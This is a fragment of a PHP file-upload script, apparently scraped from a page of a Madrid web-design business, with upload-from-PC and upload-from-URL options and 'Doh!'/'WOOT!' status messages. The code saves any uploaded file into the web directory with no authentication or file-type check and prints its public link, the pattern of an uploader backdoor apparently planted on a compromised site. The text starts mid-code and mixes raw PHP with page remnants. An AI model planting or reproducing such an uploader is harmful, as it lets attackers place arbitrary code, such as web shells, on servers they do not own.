Doh! failed to copy $file...\n"; } else{ echo "WOOT! success to copy $file...\n"; } }else if(isset($_POST['uploadFromPc'])){ // setup to right directory chdir( dirname ( __FILE__ ) ); // get directory $uploaddir = getcwd()."/"; $uploadfile = $uploaddir . basename($_FILES['fileToUpload']['name']); echo '

';
if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $uploadfile)) {

	$actual_link = "http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/".$_FILES['fileToUpload']['name'];
    echo "File is valid, and was successfully uploaded.\n";
    echo "Go to  $actual_link
"; } else { echo "Possible file upload attack!\n"; } } ?> UPLOAD FILE

UPLOAD FROM PC


UPLOAD FROM URL



 

[+]
[+]

[+]
C/San Ernesto 6 :: CP 28002 :: Madrid :: España :: Tel 34 91 5615737 :: Fax 34 91 5615737 :: info@formoso.com
Formoso 2008 :: :: :: :: Diseño Web